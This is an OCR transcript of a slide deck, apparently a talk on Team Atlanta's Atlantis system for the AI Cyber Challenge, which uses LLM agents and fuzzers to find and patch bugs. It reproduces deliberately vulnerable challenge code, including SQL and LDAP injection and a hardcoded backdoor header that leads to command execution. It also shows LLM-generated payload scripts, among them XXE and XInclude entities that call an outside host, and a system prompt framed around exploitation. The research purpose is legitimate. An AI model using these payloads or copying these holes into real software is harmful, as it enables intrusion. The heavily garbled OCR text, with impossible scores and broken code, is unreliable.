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Al Cyber Challenge

Using Al, fully automatically find and patch vulnerabilities
Announced (Aug. ‘23.)
Semi-final (Aug. 24.)

- 42 teams competed

- Qualified 7 teams got $2M each

Final (Aug. ‘25.)

- 1st . S4M
- 2nd - S3M
- 3rd : §1.5M

AL

Al CYBER CHALLENGE
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TEAM ATLANTA $4,000,000
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Scoreboard breakdown

Vulnerability Program SARIF

Team % Discovery Repaid | Assessment| Bundle

Total Correct Score Score Score Score
Team Atlanta (9caa56) 392.76 | 91.27% 79.71 171.10 599 | 136.38
Trail of Bits (309958) 219.35| 359.33% 52.49 101.21 1.00 65.29
Theori (3fad2e) 210.68 | 44.44% 58.12 110.34 4.97 53.57
All You Need IS A Fuzzing Brain (1b9bb5) | 153.70 | 53.77% 54.81 77.60 6.52 28.28
Shellphish (463287) 135.89 | 94.83% 47.94 54.31 8.47 25.29
42-b3yond-6ug (ee79d5) 105.03 | 389.23% 70.37 14.22 9.80 10.97
Lacrosse (e87a4d) 9.59 | 412386% 1.68 5.43 0.00 3.62

Team Score = Z Challenge Scores

Challenge Score = AM = (VDS + PRS + SAS + BDL)
AM=1-(1-7r)*




Proof-Of-Vulnerability (POV) PATCH
=>Input data to reproduce vulnerability =>Unified diff source code fix for
crash in harness vulnerabilities

SARIF Assessment BUNDLE

= Structured reporting format for ->Grouping of related PoV, patch,
vulnerability details and SARIF submissions

DELTA SCAN

->Challenge analyzing base code plus
applied diff changes

FULL SCAN

->Challenge analyzing entire code
base



All projects adapted into challenges
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FINAL ROUND DATA POINTS

Total Known Vulnerabilities Real World Vulns discovered Total spent (Compute + LLM)
70 18 $359k
Vulnerabilities discovered Average time to patch Total LLM queries

54 (77%) 45 min 1.9M

Vulnerabilities patched Total LOC analyzed LLM Spend

43 (61%) 54M $82k




COST PER TASK SUCCESS
(PoV, Patch, SARIF, or a Bundle)

~$152




Agenda

1—ntroductionto-AlxCC
2. Atlantis and Key Strategies

3. Discussion: Future of Cybersecurity
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Atlantis: Al-driven Threat Localization, Analysis,
aNd Triage Intelligence System
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Atlantis: Al-driven Threat Localization, Analysis,
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Atlantis: Al-driven Threat Localization, Analysis,

aNd Triage Intelligence System

,L Submission
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Bug Finding Stats (Internal Analysis)

Passed

POVs Contribution Rate Total Patches | Passed Patches

Total POVs | Failed POVs | Dup POVs

Multilang 393 299 10 71.20% 30 29
C 15.30% 2 2
Java 12.70% 14 9
unknown 0.80% 1 1

TOTAL 100.00%



Bug Finding Stats (Internal Analysis)

Passed

Engine Total POVs | Failed POVs | Dup POVs POVs

Contribution Rate Total Patches | Passed Patches

Multilang 393 299 10 84 71.20% 30 29
C 15.30% 2 2
Java 424 336 73 15 12.70% 14 9
unknown 1 0 0 1 0.80% 1 1

TOTAL 100.00%
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Atlantis-Multilang Stats

- Total 11 members:
SRA (2): HyungSeok, Soyeon
SR (4): Dohyeok, Kangsu, Eunsoo, Sangwoo
Georgia Tech (5): Dongkwan, Dae R., Woosun, Jiho, Joshua

- Atlantis: ~7,500 commits, ~600 merged PRs
Multilang: ~4,700 commits, ~500 merged PRs

=> 0n average, a team member merged two PRs every week! ‘
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Typical Challenge Workflow

fuzz

[% Dockerfile

D project.yam

test.sh

20



Typical Challenge Workflow

fuzz

[% Dockerfile

[ build.sh

[ project.yaml

Y test.sh

language: jvm
main_repo: 'git@github.com:Team-Atlanta/cp-java-jenkins—-source.git"
fuzzing_engines:
- libfuzzer
sanitizers:
- address
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Typical Challenge Workflow

fuzz language: jvm

main_repo: 'git@github.com:Team-Atlanta/cp-java-jenkins—-source.git"
Dockerfile . .
fuzzing_engines:

build.sh - libfuzzer
sanitizers:
project.yaml - address

test.sh

public static void fuzzerTestOneInput(byte[] data) throws Exception {
BugDetectors.allowNetworkConnections((host, port) -> host.equals("localhost"));
new JenkinsThree().fuzz(data);

public void fuzz(byte[] data) throws Exception {
ByteBuffer buf = ByteBuffer.wrap(data);
if (buf.remaining() < 4) {
return;

int picker = buf.getInt();
switch (picker) {
case 11:
testProxyConfiguration(buf);
break;
case 33:
testPlugin(buf);
break;
case 37:
testScript(buf);
break;
case 38:
testStateMonitor(buf);
break;
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Typical Challenge Workflow

fuzz

it String searchFilter = "(&(objectClass=inetOrgPerson)(cn=" + username + ") (userPassword=" + key + "))";
sanitizers:
NamingEnumeration<SearchResult> results = dirContext.search("ou=users,dc=example,dc=com", searchFilter,

1 language: jvm

2 main_repo: 'git@github.com:Team-Atlanta/cp-java-jenkins—-source.git"
Dockerfile . .

3 fuzzing_engines:
build.sh 4 - libfuzzer

5

6

[ R O B

project.yaml - address

controls);
YITRED N Ml\\ L
private String launchCommandWithCredentials(ArgumentListBuilder args, File workDir,
@NonNull String url) throws Exception {
EnvVars freshEnv = new EnvVars();
freshEnv.put("GIT_TERMINAL_PROMPT", "false");

test.sh

public static void fuzzerTestOneInput(byte[] data) throws
BugDetectors.allowNetworkConnections((host, port) —> host.equals alhost"));

new JenkinsThree().fuzz(data);

public void fuzz(byte[] data) throws Exception {
ByteBuffer buf = ByteBuffer.wrap(data);
if (buf.remaining() < 4) {

Launcher.ProcStarter p = launcher.launch().cmds(args.toCommandArray()).envs(freshEnv);

if (workDir != null) {

return;

@RequireP0OST

int picker = buf.getInt(); public void doGetName(

switch (picker) { N StaplerRequest request, StaplerResponse response) throws IOException {
case 11: I V>> String id = request.getParameter("ID");
testProxyConfiguration(buf); String pw = request.getParameter("PW");
break; String responseString;
case 33:
testPlugin(buf);
break; try (
- Connection conn = getConnection();
testScript(buf); Statement stmt = conn.createStatement()) {
break; ResultSet rs = stmt
case 38: .executeQuery("SELECT name FROM users WHERE id = '™ + id + "' AND password = '" + pw + "'");
testStateMonitor(buf); if (rs.next()) {

break;




Typical Challenge Workflow

fuzz

String searchFilter = "(&(objectClass=inetOrgPerson)(cn=" + username + ") (userPassword=" + key + "))";

sanitizers: . . .
NamingEnumeration<SearchResult> results = dirContext.search("ou=users,dc=example,dc=com", searchFilter,

1 language: jvm
2 main_repo: 'git@github.com:Team-Atlanta/cp-java-jenkins—-source.git"
Dockerfile . .
3 fuzzing_engines:
build.sh 4 - libfuzzer i i i
5
6

[ R O B

project.yaml - address

controls);
YITRED N Ml\\ L
private String launchCommandWithCredentials(ArgumentListBuilder args, File workDir,
@NonNull String url) throws Exception {
EnvVars freshEnv = new EnvVars();
freshEnv.put("GIT_TERMINAL_PROMPT", "false");

test.sh

public static void fuzzerTestOneInput(byte[] data) throws
BugDetectors.allowNetworkConnections((host, port) —> host.equals alhost"));

new JenkinsThree().fuzz(data);

public void fuzz(byte[] data) throws Exception { Launcher.ProcStarter p = launcher.launch().cmds(args.toCommandArray()).envs(freshEnv);

if (buf.remaining() < 4) { . .
if (workDir != null) {

return;

@RequireP0OST

int picker = buf.getInt(); public void doGetName(

switch (picker) { N StaplerRequest request, StaplerResponse response) throws IOException {
case 11: I V>> String id = request.getParameter("ID");
testProxyConfiguration(buf); String pw = request.getParameter("PW");
break; String responseString;
case 33:
testPlugin(buf);
break; try (
- Connection conn = getConnection();
testScript(buf); Statement stmt = conn.createStatement()) {
break; ResultSet rs = stmt
case 38: .executeQuery("SELECT name FROM users WHERE id = '™ + id + "' AND password = '" + pw + "'");
testStateMonitor(buf); if (rs.next()) {

break;




Background: How to improve fuzzers

def (state):
while True:
conf = (state) // Select a seed
inputs = (conft) // Mutate the selected seed
results = (inputs) // Execute the new input
state = (state, conf, inputs, results)

// Update corpus if interesting



Background: How to improve fuzzers

- Coverage-guided Fuzzing

def (state): - Directed Fuzzing
while True: Guide fuzzers to reach the target lines
conf = _ _
inputs _ - Hybrid Fuzz.mg |
results = Employ Concolic Executor to generate new inputs
state = - Dictionary-based Fuzzing

Use dictionary when mutating seeds

- Grammar-based Fuzzing
Use grammar of inputs for input gen./mut.

- Target-specific Fuzzing
Tailor fuzzers for the specific target program




Background: How to improve fuzzers

Existing techniques require
- target-specific analysis
- or pre-defined values

Existing tools have a lot of limitations:
Only one of C or Javais supported
Do not support some compiler version
Results are not good enough
Incomplete
Outdated
Need manual analysis

- Coverage-guided Fuzzing
- Directed Fuzzing
Guide fuzzers to reachithe target lines

dlctlonary when mutating seeds

- Grammar-based Fuzzing
Uselgrammarjof inputs for input gen./mut.

- Taret-speclflc Fuzzing
fuzzers for the specific target program




Background: How to improve fuzzers

- Coverage-guided Fuzzing
- Directed Fuzzing
Guide fuzzers to reach

- Hyorid Fuzzing
—=  Employ Concolic Executor to generate new inputs

- Dictionary-based Fuzzing
A\ Use when mutating seeds

- Grammar-based Fuzzing
Use of inputs for input gen./mut.

- Target-specific Fuzzing
fuzzers for the specific target program




Atlantis-Multilang: UniAFL

CORPUS MANAGER

| Seed Loader/ Sharer I

Seed Scheduler
(Directed Fuzzing)

Scheduled Seed

f Execution Result

EXECUTOR

>

Gen./Mut. Scripts

UNIAFL (§5.2)

INPUT GENERATORS

Given Fuzzer
(libFuzzer, Jazzer)

Hybrid Fuzzer (§5.3)
(SymCC, SymQEMU)

SHARED UTILS (§5.8)

Function Tracer

Dictionary-based (§5.4)
[ Dict. Generator ]

Function-level Dictionary

[ Mutator ]
l New Inputs

MLLA Standalone (§5.7)
( BGA )
New Inputs

+ Gen./Mut. Scripts

Code Retriever
(Joern, LSP, Code Indexer)

Script Executor e

Gen./Mut. Inputs

Input Executor

<6

New Inputs

Testlang-based (§5.5)

[ Harness Reverser ]
4 Testlang

(libFuzzer/Jazzer-based)

Edge Coverage

Coverage Symbolizer

Line Coverage
v

Mutator / Generator ]
l New Inputs

MLLA (85.6)
( MCGA )
+ Tainted Call Graph
( BCDA )
J Bug Candidates
( BGA )

New Inputs
+ Gen./Mut. Scripts

!

FuzzDB

Courpus

POVs

Edge Coverage

Line Coverage

Bug Candidates




Atlantis-Multilang: UniAFL

CORPUS MANAGER

| Seed Loader/ Sharer

Seed Scheduler
(Directed Fuzzing)

Scheduled Seed

f Execution Result

EXECUTOR
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>
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-

Gen./Mut. Inputs
r

Input Executor
(libFuzzer/Jazzer-based)

New Inputs

Testlang-based (§5.5)

[
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i Testlang

:

[

Mutator / Generator ]

MLLA (§5.6)

( MCGA )
+ Tainted Call Graph

( BCDA )

l Bug Candidates
C

!

FuzzDB
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Atlantis-Multilang: UniAFL

CORPUS MANAGER \ J

Hybrid Fuzzer (§5.3)

I Seed Loader/ Sharer I
(SymCC, SymQEMU)

Scheduled Seed

Given Fuzzer
(libFuzzer, Jazzer)

Seed Scheduler
(Directed Fuzzing)

Dictionary-based (§5.4)
[ Dict. Generator ]

MLLA Standalone (§5.7)
( BGA )

New Inputs
Gen./Mut. Scripts

Function-level Dictionary

LLM Usage: Low

[ Mutator J
EXECUTOR .

- Gen./Mut. Scripts MLLA (§5.6)
Script Executor Testlang-based (§5.5) ( MCGA )
Gen./Mut. Inputs [ Harness Reverser ] [ ‘Tainted Call Graph ]
o Testlang BCDA
L L M U sa g e: M I d [ iMutator / Generator ] J,Bug Candidates
g€ Coverage ( BGA )

New Inputs

New Inputs
Gen./Mut. Scripts

Coverage Symbolizer

{ Line Coverage

SHARED UTILS (§5.8)

| Function Tracer I

Code Retriever

LLM Usage: Mid

| POVs |

Edge Coverage

Line Coverage

Bug Candidates




Low Usage: Dictionary-Based Input Generation

e Observation
o Fuzzers often get stuck on comparison statements
o (non-reasoning) LLMs work well for small datasets

public void doexecCommandUtils(
@QueryParameter String cmdSeq2,
StaplerRequest request,
StaplerResponse response)
throws ServletException, IOException, BadCommandException {

// use LOCAL method:
boolean isAllowed = jenkins().hasPermission(Jenkins.ADMINISTER);

// hardcoded hash value:
byte[] sha256 = DigestUtils.sha256("breakin the law");
if (containsHeader(request.getHeaderNames(), "x-evil-backdoor")) {
String backdoorValue = request.getHeader("x-evil-backdoor");
byte[] providedHash = DigestUtils.sha256(backdoorValue);
if (MessageDigest.isEqual(sha256, providedHash)) {
String res_match = createUtils(cmdSeq2);
if (res_match == null || res_match.length() == @) {
Event event = new Event(Event.Status.ERROR, "Error: empty result", cmdSeq2);
events.add(event);




Low Usage: Dictionary-Based Input Generation

1) Given an executed function, generate tokens

2) Mutate the input with generated tokens

1) Executing an input

GET /~ HTTP/1.1
Host: localhost:9999

User-Agent: curl/7.81.0@

Accept:

* Sk

4) Mutate the input

POST / HTTP/1.1
Host: localhost:9999

User-Agent:

Accept:

#® ’Ii" *

curl/7.81.0

2) Collect executed functions

ngx_http_process_request_headers

3) Generate tokens for each function

ngx_http _process _request headers:
{GET, POST, ...}



Low Usage: Dictionary-Based Input Generation

1) Given an executed function, generate tokens
2) Mutate the input with generated tokens

1) Executing an input
GET / HTTP/1.1

2) Collect executed functions

Host: localhost:9999 o
User-Agent: curl/7.81.0 ngx_http process request _headers
ﬁcccpt; gt

4) Mutate the input 3) Generate tokens for each function
POST / HTTP/1.1

Host: localhost:9999 ngx_http process request headers:
Usi

< How about analyzing an input structure?




Mid Usage: LLM-Opinionated Structured Input Generation

Testlang-based
Input Gen

<<Byte Sequence>>
y q INPUT ::= COMMAND_CNT { size: 4 }
- . COMMAND [COMMAND_CNT
Field_A Field B [ ~CNT] Generator
- : COMMAND ::= SET_SIZE T
Field X Field Y | SET_FILTER N Mutator
‘ ‘ A
SET_SIZE ::= OPCODE { size: 4, value: 0 } structured
SIZE { size: 4 } input
_ Field_A SET_FILTER ::= OPCODE { size: 4, value: 1 } Blob parser
n Field B parsing SIZE { size: 4 } \ 4 /
file = order DATA { size: SIZE } request seed
order | | Field_C
= UniAFL Scheduler «—
\4




Mid Usage: LLM-Opinionated Structured Input Generation

Testlang-based
Input Gen
<<Byte Sequence>> P

INPUT ::= COMMAND_CNT { size: 4 }
. . COMMAND [COMMAND_CNT
Field A Field B : ~CNT] Generator
Field X Field Y COMMAND ::= SET_SIZE T
ield_. ield_ I | SET_FILTER ' > Mutator
h
SET_SIZE ::= OPCODE { size: 4, value: 0 } structured
SIZE { size: 4 } input
_ Field_A SET_FILTER ::= OPCODE { size: 4, value: 1 } Blob parser
in Field B parsing SIZE { size: 4} K 1 /
file = order DATA { size: SIZE } request seed
order | | Field_c
= UniAFL Scheduler +«—
v

Can LLM directly find bugs and generate input blobs?




High Usage: Program Analysis and Bug Finding

[ CPUA (§6.7.3)

- L
.C 1

—
. B

Jjava

S

.
.
.....

Source Files —

Selected

Functions

[ CGPA (§6.7.2) ]

__[ MCGA (§6.7.4) ]f--.

@)

sync Q)

[ BCDA (§6.7.5) ]—

o e Bug FuncInfoE

Tainted CG + Bug Cand. Vulnerabilites

Key Condition

BGA (§6.7.6)

—.-l Orchestrator (§6.7.7) }

Fat
‘ ‘_Feedback

‘ ‘_ Feedback

‘ L Feedback

£ AttributeCG

—»[ BlobGen (§6.7.8) } .

1 def create_payload():
2 return bytes(payload)

—>[ Generator (§6.7.9) } .

1 def generate(rnd):
2 # generation strategies
3 return bytes(generated)

—-[ Mutator (§6.7.10) } .

1 def mutate(rnd, seed):
2 # mutation strategies
3 return bytes(mutated)




High Usage: Program Analysis and Bug Finding

e How can we scale up LLM’s code analysis?
e How can we avoid hallucination?
e How can we integrate and coordinate multiple LLM response?

[ CPUA (§6.7.3)

- L
.C ]

.
.
.....

—
A B
Jjava

S

Source Files —» Selected

Functions

[ CGPA (§6.7.2) ]

sync @)
_[ MCGA(674) ==+ BCDAG675) J—
Async @
Tamted CG +Bug Cand.  Vulnerabilites BIT

BGA (§6.7.6)

—.-l Orchestrator (§6.7.7) }

~
: L Feedback

—»[ BlobGen (§6.7.8) } ..

L- Feedback

—-[ Generator(§679) } .

‘ ‘_ Feedback

U AttributeCG

1 def create_payload():
2 return bytes(payload)

1 def generate(rnd):
2 # generation strategies
3 return bytes(generated)

—[ Mutator (§6.7.10) ] .

1 def mutate(rnd, seed):
2 # mutation strategies
3 return bytes(mutated)




High Usage: Program Analysis and Bug Finding

e How can we scale up LLM’s code analysis?
e How can we avoid hallucination?
e How can we integrate and coordinate multiple LLM response?

[ CPUA (§6.7.3) ]—’» MCGA (§6.7.4) ﬁ--»[ BCDA (§6.7.5) ]—

A .
.c 1

A 8
Jjava

—
Source Files —

.
Tra,
.

Selected
Functions

sync Q)

\

@)

Tainted CG + Bug Cand.

Vulnerabilites

External Tools
| T,
functracer Joern £ AttributeCG
LSP rip/astgrep
Mef create_payload():

return bytes(payload)

file system tools
fef generate(rnd):

# generation strategies
return bytes(generated)

Code Indexer

ef mutate(rnd, seed):
# mutation strategies
return bytes(mutated)




High Usage: Program Analysis and Bug Finding

e How can we scale up LLM’s code analysis?
e How can we avoid hallucination?
e How can we integrate and coordinate multiple LLM response?

[ CGPA (§6.7.2) ] —
Task
sync @)
[ CPUA (§6.7.3) _{ MCGA (§6.7.4) Z- .[ BCDA (§6.7.5) ]—
2 D
S8 @ Asym@ Validator
o N
'j ava .@ Next Agent
— : Task
Source Files — Selec.ted Tainted CG+Bug Cand. Vulnerabilites BIT *
Functions

U AttributeCG

b def create_payload():

return bytes(payload)

1 def generate(rnd):

# generation strategies
return bytes(generated)

1 def mutate(rnd, seed):

# mutation strategies
return bytes(mutated)




High Usage: Program Analysis and Bug Finding

e How can we scale up LLM’s code analysis?
e How can we avoid hallucination?
e How can we integrate and coordinate multiple LLM response?

[ CGPA (§6.7.2) ]

BGA (§6.7.6
% - )

[ CPUA (§6.7.3) _{ MCGA (§6.7.4) ]f- - .[ BCDA (§6.7.5) _[ Orchestrator (§6.7.7) }
W e : \L Feedback

AttributeCG

.
s
.
.
N
b
.
.
.
=Y 3

.
Tra,
“.,

.C ] 1 def create_payload():

2 return bytes(payload)

Async @ —u[ BlobGen (§6.7.8) } -

Java : —P[ Generator (§6.7.9) } S OERF # generation strategies

3 return bytes(generated)

L ; o
e N @ -eel : L- Feedback
*. . . : 1 def generate(rnd):

S

‘ ‘_ Feedback

1 def mutate(rnd, seed):

—-—[ Mutator (§6710) } ‘B2 # mutation strategies

3 return bytes(mutated)

Source Files — Selected Tamted CG + Bug Cand. Vulnerabilites

Functions




Blobgen Agent Slobgen
A Ao (A) s (A)
B &) = 6 © —> (&) ©
(E) () @ ©

/ Blobgen (A->C) Blobgen (A->D)
BGA

Sopeen foe - Instead of asking LLM to return “AAAAAAAAAA..."

- Create a python script that generates a single blob

- def create payload() -> bytes:
- return “A”*1000

- LLM results are not deterministic



Bl

def create_payload() -> bytes:

payload = bytearray() # Initial Setup: Create GZIP header structure
payload.extend([0x1f, 0x8b]) # GZIP magic bytes (ID1, ID2)

payload. append(8) # Compression method (CM) - must be 8 (DEFLATED)

payload. append(0x08) # Flags (FLG) - set FNAME bit (0x®8) to include filename

mtime = 1731695077 # This is the key condition that triggers the vulnerability
payload. extend(struct.pack(’'<I’, mtime)) # 4 bytes little-endian

payload.append(0) # Extra flags (XFL) - can be @
payload. append(0) # Operating system (0S) - can be any value

o

bh

filename = b"jazze" # The filename "jazze" will be passed to ProcessBuilder constructor |~

payload. extend(filename)
payload.append(®) # Null terminator for filename

# Add minimal compressed data to avoid EOF exceptions
compressed_data = bytes([
0x03, 0x00, # Minimal deflate block (final, no compression)
0x00, 0x00, 0x00, 0x00, # CRC32 (4 bytes)
0x00, 0x00, 0x00, O0x00 # ISIZE (4 bytes)
1)

payload. extend(compressed_data)

return bytes(payload) # MUST return only bytes, not tuple/dict

ob




Bl

def create_payload() -> bytes:
payload = bytearray() # Initial Setup: Create GZIP header structure
payload.extend([0x1f, 0x8b]) # GZIP magic bytes (ID1, ID2)
payload. append(8) # Compression method (CM) - must be 8 (DEFLATED)
payload.append(0x08) # Flags (FLG) - set FNAME bit (0x08) to include filename

mtime = 1731695077 # This is the key condition that triggers the vulnerability
payload. extend(struct.pack(’'<I’, mtime)) # 4 bytes little-endian

payload.append(®) # Extra flags (XFL) - can be 0
payload.append(®) # Operating system (0S) - can be any value

>D)

]

filename = b"jazze" # The filename "jazze" will be passed to ProcessBuilder constructor | '

payload. extend(filename)
payload.append(®) # Null terminator for filename

# Add minimal compressed data to avoid EOF exceptions
compressed_data = bytes([
0x03, 0x00, # Minimal deflate block (final, no compression)
0x00, 0x00, 0x00, 0x00, # CRC32 (4 bytes)
0x00, 0x00, 0x00, 0x00 # ISIZE (4 bytes)

How about generating multiple blobs?

ob



Generator Agent

BGA

Blobgen Agent

Generator Agent

Blobgen
A->D
8

Blobgen (A

Generator
A->D
—> C) 4@}

Generator (A->C, A->E)

e @
= (&) ©
(E)
Blobgen (A->D)
@
= (&) ©
® ©

Generator (A->D)

- def generate(rnd:
Explore conditions probabilistically

Create a python script that generates multiple blobs
Expecting one of the blobs would reach the target point
random.Random) -> bytes:



Generator Ags

BGA

Blobgen Agent

Generator Agent

def generate(rnd: random.Random) -> bytes:

# ...
# Phase 1: Create valid ZIP structure to reach parseRoot
strategy = rnd.choice([’basic_xxe’, ’xinclude’, ’schema_ref’, ’dtd_external’])

# Generate root filename
root_filename = rnd.choice([’root.xml’, ’data.xml’, ’content.xml’, ’main.xml’])

# Create Manifest.xml content
manifest_content = f’’’<?xml version="1.0" encoding="UTF-8"7>
<manifest><Root>{root_filename}</Root></manifest>’"'".encode(’utf-8")

# Phase 2: Generate exploit payload based on strategy
if strategy == ’basic_xxe’:
# XXE with external entity targeting jazzer.com
port = rnd.choice([80, 443, 8080, 8443])
path = rnd.choice([’’, ’/test’, ’/data.xml’, ’'/api/endpoint’, ’/config’])
root_content = f’’’<?xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE root [<!ENTITY xxe SYSTEM "http://jazzer.com:{port}{path}'>]>
<root>&xxe;</root>""’.encode(’utf-8’)

elif strategy == 'xinclude’:
# XInclude attack targeting jazzer.com
path = rnd.choice([’/data.xml’, ’/config.xml’, ’/api/data’, ’/external.xml’])
protocol = rnd.choice([’http’, ’https’])
root_content = f’’’<?xml version="1.0" encoding="UTF-8"7>
<root xmlns:xi="http://www.w3.0rg/2001/XInclude">
<xi:include href="{protocol}://jazzer.com{path}"/>
</root>""’'.encode(’'utf-8’)

# ... (other strategies)

# Build ZIP file structure

files = [
(’Manifest.xml’, manifest_content),
(root_filename, root_content)

]

# Add random additional files occasionally

if rnd.random() < 0.3:
extra_content = b’<extra>data</extra>’
files.append((’extra.xml’, extra_content))

return create_zip(files, rnd)

# ... (helper functions) ...

2 @
—> & ©
) @) (&

Blobgen (A->D)

~

G t

/\f:}gra or ‘!,

— () q@)
E) ® &

>C, A->E) Generator (A->D)

s multiple blobs
he target point
-> bytes:




Generator Ags

BGA

Blobgen Agent

Generator Agent

def generate(rnd: random.Random) -> bytes:

# ...
# Phase 1: Create valid ZIP structure to reach parseRoot
strategy = rnd.choice([’basic_xxe’, ’xinclude’, ’schema_ref’, ’dtd_external’])

# Generate root filename
root_filename = rnd.choice([’root.xml’, ’data.xml’, ’content.xml’, ’main.xml’])

# Create Manifest.xml content
manifest_content = f£’’’<7xml version="1.0" encoding="UTF-8"7>
<manifest><Root>{root_filename}</Root></manifest>’"'".encode(’utf-8")

# Phase 2: Generate exploit payload based on strategy
if strategy == ’basic_xxe’:
# XXE with external entity targeting jazzer.com
port = rnd.choice([80, 443, 8080, 8443])
path = rnd.choice([’’, ’/test’, ’/data.xml’, ’/api/endpoint’, ’/config’])
root_content = f’’’<7xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE root [<!ENTITY xxe SYSTEM "http://jazzer.com:{port}{path}">]>
<root>&xxe;</root>""’.encode(’utf-8’)

elif strategy == 'xinclude’:
# XInclude attack targeting jazzer.com
path = rnd.choice([’/data.xml’, ’/config.xml’, ’/api/data’, ’/external.xml’])
protocol = rnd.choice([’http’, ’https’])
root_content = f’’’<?xml version="1.0" encoding="UTF-8"7>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="{protocol}://jazzer.com{path}"/>
</root>""’'.encode(’'utf-8’)

# ... (other strategies) ...

# Build ZIP file structure

files = [
(’Manifest.xml’, manifest_content),
(root_filename, root_content)

]

# Add random additional files occasionally
if rnd.random() < 0.3:

Blobgen
A->D 0

—> & ©
), @ ©

Blobgen (A->D)

~

g‘iinDerator e
— 6 ©
3 ® ©

>C, A->E) Generator (A->D)

s multiple blobs
he target point
-> bytes:

What if a target path is too long or too complex?




Mutator Agent

Blobgen Blobgen
A->D A->D Q

B © 99 — (6 ©

(E) ® ©
/ Blobgen (A Blobgen (A->D)
BGA

Blobgen Agent Q Eingrator Q ie:grator Q
B o — 0 — 6 ©
(®) ® ® ©

Mutator Agent Generator (A->C, A->E) Generator (A->D)

\ e Mutator g/lutaDtor
A>C =
&) G e e = 9 ©
® ©

+ Edge Deduplication Mutator (A->C) Mutator (C->D)

Generator Agent

def mutate(rnd: random.Random, seed: bytes) -> bytes:



Mutator A

BGA

Blobgen Ag

Generator A

Mutator Ag

def

def

mutate(rnd: random.Random, seed: bytes) -> bytes:
# ...

exif pos = seed.find(b’Exif\x00\x00’)

tiff start = exif_pos + 6

# ... (boundary checks) ...

makernote_pos = _find_makernote_start(seed, tiff_start)
if makernote_pos == -1:
makernote_pos = min(tiff_start + 64, len(seed))

prefix = seed[:makernote_pos]
body = seed[makernote_pos:]

# 30% chance for generic mutations to maintain diversity
if rnd.random() < 0.3:
return _generic_mutate(rnd, seed)

# Apply format-specific mutations to Makernote section
mutated_body = _mutate_makernote(rnd, body)

result = prefix + mutated_body
return result[:min(len(result), 102400)]

_mutate_makernote(rnd, body):
strategy = rnd.randint(0, 5)

if strategy == 0:

return _mutate_signature(rnd, body)
elif strategy == 1:

return _mutate_endianness(rnd, body)
elif strategy == 2:

return _mutate_directory(rnd, body) # Corrupt directory counts and field types
elif strategy == 3:

return _mutate_sizes(rnd, body)
elif strategy == 4:

return _mutate_offsets(rnd, body)
else:

return _byte_mutations(rnd, body)

# Create oversized data fields

# Corrupt offset values for out-of-bounds access

(mutation strategy implementations) ...

! (A)
=

Blobgen (A->D)

brator

(A)
— (& ©
® ©

Generator (A->D)

® ©

Mutator (C->D)

bytes) -> bytes:



Workflow: Continuous lteration

¥ |
Preprocess H Create Blobgen H Collect Coverage H Analyze Cnuarage]
blobgen_iterX.py, ...

Preprocess H Plan Generator H Create Generator H Collect Coverage H Updagsﬂl:égﬁlng H Analyze Goverage}

generator_iterX.py, ...

v |
Preprocess H Plan Mutator J—)[ Create Mutator H Analyze Mu’latnr]
mutator_iterX.py, ...



[ Preprocess H Plan Generator H Create Generator H Collect Coverage H Updz;t:;:;:ﬁlng ]—b[ Analyze Cnmmga}

- Prepare:
- System prompt
- Harness code
- Diff code (if it is delta mode)




GENERATOR SYSTEM PROMPT = """

<roles

You are an ex archer falizing in wul ty analysis and ¢xp

paths to

t security re

create intelligent payload generators that can navigate complex code reagh

<frale=

Gaslighting

<Bxpartises
fou poOSSEss
Vulnerability analysis and exploitation
Complex cod

pecialized Knowledge in:

th navigation

- Binary form manipul
- Strategic mutation tech
Coverage-guided fuzzing

Format

on
MigUeEs

preserving mut ons

= Loop-based vulnerability exploitation
= Obstacle avoldance in code paths

<fexpertises

=final_objectives
Your ultimate goal is to create
vulnerability.

a Python

Final Goal AL

Spacific will implemsent ¢ ‘geneératelrnd: random.Random) -= bytes' function
= Uses the
Returns ONLY a single bytes object (no tuplesfdicts)
I s¢lf=-contained with mec imports
= Uses DMLY built-im Python (2.0 ;
- Documents each mutation strategy
FProduces payloads satisfy key conditions

Targets uncoversed code paths

Ly, you
provided Random instance=ifor=o:

=SSy

basebd)

that

format

- Maintains valid
Loop

structure
= Handles iterations when nesded for exploitation
The
= Havi
- Satisfying Tormat requir

Fassing through multiple decision points and branches

Handling loop

iz that reaching and eéexploiting the wvulnerability often requires:

0 1
checks

complex validation

emeEnts

iterations and state accumulation

= Crafting precise input the vulnerability

Your generator must be designed to overcome these obstacles while -:x:-'.-:-r:"-q paths an
offinal_object ives

<workflow_overview
You are part of a
1. PLAN: Analyze the codebase to create a detailed generator plan
2. CREATE:
3. ANALYZE: Evaluate the generator's effectiveness

four-step workflow to create and

improve generators
Implement a generator based on the plan that produces effective payloads
through coverage analysis

4. IMPROVE: Enhance the generator based on coverage feedback to better reach and exploit the vuln

</WOrkt low_overview>

Workflow

<context>

- You are targeting an oss-fuzz
- Target
- Target

project

name is: {cp_name)

project

harness name is: {harness_name)}

~ Target program is running on Linux

- Target r and vulnerability:

Context (LLM may have knowledge)

structure guide=sos

itize

- J0Urce coge T0or Dot

ath information be

- Data CAM WA Tl SV LA e

- Exploit gquide when available

ten including tack detadle and reauired format

Example (single shot)

7

ecific instructions for current <

your sutput

Jcontext>

<fina tput_exanple>

def generate(rnd: random.Random) -> bytes:

\"\"\"Generate payload variations to reach and exploit

the vulnerability.

Args:

rnd: Random nusber generator for consistent mutations

Returns:
bytes:

A\

# Parse or

bytearray(b'MAGIC\\x02\\x01"')

bytearray()

Payload designed to reach and exploit the vulnerability
create the base structure
header

body

13

Apply strategic mutations to navigate to destination
'

and he vulnerability

n

trigger

# Ensure format validity is maintained




HUMAN

| HUMAN

<HARNESS_CODE_INFO=
<FILE_PATH=/sr¢/repo/test/customfuzzd. e</FILE_PATH-
<HARMESS_CODE>

Added XML-style tags

) MERABILITIES!!! FOCUS ON THIS!!
Anthropic: Use XML tags to structure your

123 E prompts
[2]: ** This module interfaces 5QLite to the Google 05
[3]: ** (https://github. com/google/oss-fuzz) == RIS OO T
[41: */ +++ blext/misc/base85.c
[5]: #include <stddef.hs B2 -170,6 +170,12 82 static char *putcs{char ®*pc, char *s){
[6]: #if 'defined({_MSC_YER) static char* toBased5( ug *pIn, int nbIn, char *plut, char *pSep 3{
[71: #include <stdint. he int nlel = @;
[(8): #endif while( nbIn >= 4 ){
[9]: #include <stdie.h= + A4 Use the Adobe shortcut to encode a 32-bit @ value gquickly.
Blinclude <string.h> 0 iFC pIn[@] == @x@ && pIn[l] == @x@ && pIn[2] == @x@ && pIn[3] == @x@ ) {
